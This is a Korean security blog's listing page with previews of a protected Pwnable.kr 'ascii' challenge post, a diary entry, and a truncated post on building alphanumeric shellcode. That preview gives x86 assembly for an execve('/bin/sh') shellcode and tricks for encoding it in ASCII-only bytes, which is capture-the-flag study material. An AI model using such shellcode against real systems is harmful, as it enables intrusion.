y0u_bat
[Pwnable.kr] ascii - 333pt
보호되어 있는 글입니다.
System/[Pwnable.kr]
2016. 2. 20. 06:20
Alphanumeric Shellcode (ascii shellcode) 작성
기본적인 execve(/bin/sh,/bin/sh,null)을 실행시키는 쉘코드 xor %eax,%eax -> 이부분push %eaxpush $0x68732f2fpush $0x6e69622fmov %esp, %ebx -> 이부분push %eaxpush %ebxmov %esp, %ecx -> 이부분mov $0xb, %al -> 이부분int $0x80 -> 이부분 보통 쉘코드는 이러한데, 아스키범위에 몇군데가 걸린다. 30~7a xor %eax, %eax -> push $0x31; pop %eax; xor $0x31, %al // 이런식으로 바꿀수있습니다.mov %esp, %ebx -> push %esp; pop %ebx // pop push로 해결mov %esp, %ecx -> push %esp; pop ..
System
2016. 2. 19. 04:18
[2016.02.18] 일기
보호되어 있는 글입니다.
일기+계획
2016. 2. 19. 02:09